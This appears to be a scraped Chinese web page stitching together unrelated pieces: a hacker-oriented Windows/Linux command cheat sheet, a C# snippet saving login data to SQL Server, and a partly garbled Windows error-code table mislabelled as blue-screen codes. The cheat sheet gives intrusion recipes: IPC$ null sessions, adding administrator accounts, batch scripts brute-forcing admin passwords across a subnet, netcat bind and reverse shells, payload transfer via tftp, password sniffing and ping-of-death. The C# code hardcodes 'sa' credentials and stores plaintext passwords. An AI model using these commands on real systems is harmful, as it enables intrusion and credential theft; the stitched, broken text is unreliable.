数据库pec模块

㈠ 寻DOS命令大全

DOS命令大全：

CMD命令
net use ipipc$ " " /user:" " 建立IPC空链接
net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: ipc$ 登陆后映射对方C：到本地为H:
net use ipipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意：
administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务；(如:net start telnet， net start schele)
net stop 服务名 停止某服务
net time 目标ip 查看对方时间
net time 目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数："-w数字"用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数："-l[空格]数据包大小"；"-n发送数据次数"；"-t"指一直
ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参
数"/all"显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-
H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件，"DEL/A-
S *.*"表示删除当前目录下除系统文件以外的所有文件
二：
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统
确认就直接删除。（二个命令作用相同）
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命
令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：
2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 复制对方admini$共享下的srv.exe文件（所有文
件）至本地C：
x 要复制的文件或目录树 目标地址目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将"IP"的
server.exe下载到目标主机c:server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式
（传送文本文件模式）进行传送
tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文
本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway
addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某
属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如："：start"标签）
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡
绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky )
三：
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey
dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）--针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户
名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更
改(写入)，F 完全控制；例：cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

四：

IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop 启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将
会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本
地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cp 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir 进入远程主机目录
cp 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip

#5 五：

MYsql 命令：
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。（注意：和上面不同，下
面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我
们改密码和新增用户，实际上就是用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database 库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqlmp --opt school>school.bbb 备份数据库：（命令在DOS的mysql in目录下执行）;注释:将数据库
school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主
机。
例：shutdown /r /t 0 立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终
止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。
六：
linux系统下基本命令： 要区分大小写
uname 显示版本信息（同win2K的 ver）
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件，rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录，目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）

附：批处理命令与变量

1：for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定
一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0-%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2-%9指输入的
第2-9个值；例：net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件，可使用通配符，如：(D:user.txt)和(1 1 254)(1 -1 254),{ "(1 1
254)"第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；"(1 -1 254)"说明：即从254到
1 }

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开
command_parameters：为特定命令指定参数或命令行开关

IN (set)：指在(set)中取值；DO command ：指执行command

参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如
(d:pass.txt)时 }。
用法举例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /
user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存
在test.txt中。

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来
隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的
IP地址；(1 1 254) 指起始值，增长量，结止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
存为：ok.exe 说明：输入一个IP后，用字典文件d:pass.dic来暴解d:user.dic中的用户密码，直到文件中值取完为止。%%i为
用户名；%1为输入的IP地址（默认）。
七：
2：if命令及变量 基本格式：
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为"真"。
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行
最后返回的值不等于1，就执行后面的命令。
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。
例："if "%2%"=="4" goto start"指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加"
"）
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。
例："if not nc.exe goto end"指：如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令
语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else
后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才
能执行，用上< >后就等于是单独一行了；例如："if exist test.txt. <del test.txt.> else echo
test.txt.missing "，注意命令中的"."

（二）系统外部命令(均需下载相关工具)：

1、瑞士军刀：nc.exe

参数说明：
-h 查看帮助信息
-d 后台模式
-e prog程序重定向，一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式，用于入站连接
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C
-n IP地址，不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出，用-vv将更详细
-w数字 timeout延时间隔
-z 将输入，输出关掉（用于扫锚时）
基本用法：
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的
TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向
连接192.168.0.2的5354端口
高级用法：
nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止
nc -L -p 80 > c:log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:log.txt
nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把
c:honeyport.txt中内容送入管道中，亦可起到传送文件作用
type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把
c:honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用：nc -l -p 本机端口
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注：
| 管道命令
< 或 > 重定向命令。"<"，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:winnt >> d:log.txt 意思是：后台执行dir，并把结果
存在d:log.txt中

>与>>的区别 ">"指：覆盖；">>"指：保存到(添加到）。

如：@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看：用>>的则
是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。

八：

2、扫锚工具：xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测
192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测
192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端
口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测"hostlist.txt"文件中列
出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机

九：

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以
ASCII格式输出

4、终端服务密码破解: tscrack.exe

㈡ C# 数据存入数据库

public void insertsession()
{
string uid = TextBox1.Text.Trim().ToString();
string pwd = TextBox2.Text.Trim().ToString();
string date = DateTime.Now.ToString();
Session["uid"] = uid;
SqlConnection conn = new SqlConnection("server=.;uid=sa;pwd=sa;database=SSQ");
SqlCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandType = CommandType.StoredProcere;
cmd.CommandText = "Up_insertsession";
conn.Open();
cmd.Parameters.Add("@session",SqlDbType.VarChar);
cmd.Parameters.Add("@password",SqlDbType.VarChar);
cmd.Parameters["@session"].Value = uid;
cmd.Parameters["@password"].Value = pwd;

cmd.ExecuteNonQuery();

}

"Up_insertsession"是一个存储过程
create proc Up_insertsession(@name varchar(8),@password varchar(8))
as
insert into hbpec values(@name,@password)

我这个程序做的 你都可以直接运行了

㈢ 蓝屏代码0x100000d1 (0x00000000, 0x00000002, 0x00000001, 0xb7dbe4a5)

电脑蓝屏代码大全(复制的！但是绝对有用)

电脑蓝屏代码大全
代码 含意
0 0x00000000 作业完成。
1 0x00000001 不正确的函数。
2 0x00000002 系统找不到指定的档案。
3 0x00000003 系统找不到指定的路径。
4 0x00000004 系统无法开启档案。
5 0x00000005 拒绝存取。
6 0x00000006 无效的代码。
7 0x00000007 储存体控制区块已毁。
8 0x00000008 储存体空间不足，无法处理这个指令。
9 0x00000009 储存体控制区块地址无效。
10 0x0000000A 环境不正确。
11 0x0000000B 尝试加载一个格式错误的程序。
12 0x0000000C 存取码错误。
13 0x0000000D 资料错误。
14 0x0000000E 储存体空间不够，无法完成这项作业。
15 0x0000000F 系统找不到指定的磁盘驱动器。
16 0x00000010 无法移除目录。
16 0x00000010 无法移除目录。
17 0x00000011 系统无法将档案移到 其它的磁盘驱动器。
18 0x00000012 没有任何档案。
19 0x00000013 储存媒体为写保护状态。
20 0x00000014 系统找不到指定的装置。
21 0x00000015 装置尚未就绪。
22 0x00000016 装置无法识别指令。
23 0x00000017 资料错误 (cyclic rendancy check)
24 0x00000018 程序发出一个长度错误的指令。
25 0x00000019 磁盘驱动器在磁盘找不到 持定的扇区或磁道。
26 0x0000001A 指定的磁盘或磁盘无法存取。
27 0x0000001B 磁盘驱动器找不到要求的扇区。
28 0x0000001C 打印机没有纸。
29 0x0000001D 系统无法将资料写入指定的磁盘驱动器。
30 0x0000001E 系统无法读取指定的装置。
31 0x0000001F 连接到系统的某个装置没有作用。
32 0x00000020 文件被另一进程使用中不能访问The process cannot access the file because it is being used by another process.
33 0x00000021 档案的一部份被锁定， 现在无法存取。
34 0x00000022 磁盘驱动器的磁盘不正确。 请将 %2 (Volume Serial Number: %3) 插入磁盘机%1。
36 0x00000024 开启的分享档案数量太多。
38 0x00000026 到达档案结尾。
39 0x00000027 磁盘已满。
50 0x00000032 不支持这种网络要求。
51 0x00000033 远程计算机无法使用。
52 0x00000034 网络名称重复。
53 0x00000035 网络路径找不到。
54 0x00000036 网络忙碌中。
55 0x00000037 特殊的网络资源或设备不可再使用The specified network resource or device is no longer available.
56 0x00000038 网络BIOS命令已达到限制The network BIOS command limit has been reached.
57 0x00000039 网络配接卡发生问题。
58 0x0000003A 指定的服务器无法执行要求的作业。
59 0x0000003B 网络发生意外错误。
60 0x0000003C 远程配接卡不兼容。
61 0x0000003D 打印机队列已满。
62 0x0000003E 服务器的空间无法储存等候打印的档案。
63 0x0000003F 等候打印的档案已经删除。
64 0x00000040 指定的网络名称无法使用。
65 0x00000041 拒绝存取网络。
65 0x00000041 拒绝存取网络。
66 0x00000042 网络资源类型错误。
67 0x00000043 网络名称找不到。
68 0x00000044 超过区域计算机网络配接卡的名称限制。
69 0x00000045 超过网络 BIOS 作业阶段的限制。
70 0x00000046 远程服务器已经暂停或者正在起始中。
71 0x00000047 由于联机数目已达上限，此时无法再联机到这台远程计算机。
72 0x00000048 指定的打印机或磁盘装置已经暂停作用。
80 0x00000050 档案已经存在。
82 0x00000052 无法建立目录或档案。
83 0x00000053 INT 2484 0x00000054 处理这项要求的储存体无法使用。
85 0x00000055 近端装置名称已经在使用中。
86 0x00000056 指定的网络密码错误。
87 0x00000057 参数错误。
88 0x00000058 网络发生资料写入错误。
89 0x00000059 此时系统无法执行其它行程。
100 0x00000064 无法建立其它的系统 semaphore。
101 0x00000065 属于其它行程专用的 semaphore.
102 0x00000066 semaphore 已经设定，而且无法关闭。
103 0x00000067 无法指定 semaphore 。
104 0x00000068 在岔断时间无法要求专用的 semaphore 。
104 0x00000068 在岔断时间无法要求专用的 semaphore 。
105 0x00000069 此 semaphore 先前的拥有权已经结束。
106 0x0000006A 请将磁盘插入 %1。
107 0x0000006B 因为代用的磁盘尚未插入，所以程序已经停止。
108 0x0000006C 磁盘正在使用中或被锁定。
109 0x0000006D Pipe 已经中止。
110 0x0000006E 系统无法开启指定的 装置或档案。
111 0x0000006F 档名太长。
112 0x00000070 磁盘空间不足。
113 0x00000071 没有可用的内部档案标识符。
114 0x00000072 目标内部档案标识符不正确。
117 0x00000075 由应用程序所执行的 IOCTL 呼叫 不正确。
118 0x00000076 写入验证参数值不正确。
119 0x00000077 系统不支持所要求的指令。
120 0x00000078 此项功能仅在 Win32 模式有效。
121 0x00000079 semaphore 超过逾时期间。
122 0x0000007A 传到系统呼叫的资料区域 太小。
123 0x0000007B 文件名、目录名称或储存体卷标语法错误。
124 0x0000007C 系统呼叫层次不正确。
125 0x0000007D 磁盘没有设定卷标。
126 0x0000007E 找不到指定的模块。
127 0x0000007F 找不到指定的程序。
128 0x00000080 没有子行程可供等待。
128 0x00000080 没有子行程可供等待。
129 0x00000081 %1 这个应用程序无法在 Win32 模式下执行。
130 0x00000082 Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O.
131 0x00000083 尝试将档案指针移至档案开头之前。
132 0x00000084 无法在指定的装置或档案，设定档案指针。
133 0x00000085 JOIN 或 SUBST 指令 无法用于 内含事先结合过的磁盘驱动器。
134 0x00000086 尝试在已经结合的磁盘驱动器，使用 JOIN 或 SUBST 指令。
135 0x00000087 尝试在已经替换的磁盘驱动器，使 用 JOIN 或 SUBST 指令。
136 0x00000088 系统尝试删除 未连结过的磁盘驱动器的连结关系。
138 0x0000008A 系统尝试将磁盘驱动器结合到已经结合过之磁盘驱动器的目录。
139 0x0000008B 系统尝试将磁盘驱动器替换成已经替换过之磁盘驱动器的目录。
140 0x0000008C 系统尝试将磁盘驱动器替换成已经替换过之磁盘驱动器的目录。
141 0x000000 系统尝试将磁盘驱动器 SUBST 成已结合的磁盘驱动器 目录。
142 0x0000008E 系统此刻无法执行 JOIN 或 SUBST。
143 0x0000008F 系统无法将磁盘驱动器结合或替换同一磁盘驱动器下目录。
144 0x00000090 这个目录不是根目录的子目录。
145 0x00000091 目录仍有资料。
146 0x00000092 指定的路径已经被替换过。
147 0x00000093 资源不足，无法处理这项 指令。
148 0x00000094 指定的路径这时候无法使用。
148 0x00000094 指定的路径这时候无法使用。
149 0x00000095 尝试要结合或替换的磁盘驱动器目录，是已经替换过的的目标。
150 0x00000096 CONFIG.SYS 文件未指定系统追踪信息，或是追踪功能被取消。
151 0x00000097 指定的 semaphore事件 DosMux0000SemWait 数目不正确。
152 0x00000098 DosMux0000SemWait 没有执行；设定太多的 semaphore。
153 0x00000099 DosMux0000SemWait 清单不正确。
154 0x0000009A 您所输入的储存媒体标 元长度限制。
155 0x0000009B 无法建立其它的执行绪。
156 0x0000009C 接收行程拒绝接受信号。
157 0x0000009D 区段已经被舍弃，无法被锁定。
158 0x0000009E 区段已经解除锁定。
159 0x0000009F 执行绪识别码的地址不正确。
160 0x000000A0 传到 DosEx0000ecPgm 的自变量字符串不正确。
161 0x000000A1 指定的路径不正确。
162 0x000000A2 信号等候处理。
164 0x000000A4 系统无法建立执行绪。
167 0x000000A7 无法锁定档案的部份范围。
170 0x000000AA 所要求的资源正在使用中。
173 0x000000AD 取消范围的锁定要求不明显。
174 0x000000AE 档案系统不支持自动变更锁定类型。
180 0x000000B4 系统发现不正确的区段号码。
182 0x000000B6 操作系统无法执行 %1。
182 0x000000B6 操作系统无法执行 %1。
183 0x000000B7 档案已存在，无法建立同一档案。
186 0x000000BA 传送的旗号错误。
187 0x000000BB 指定的系统旗号找不到。
188 0x000000BC 操作系统无法执行 %1。
189 0x000000BD 操作系统无法执行 %1。
190 0x000000BE 操作系统无法执行 %1。
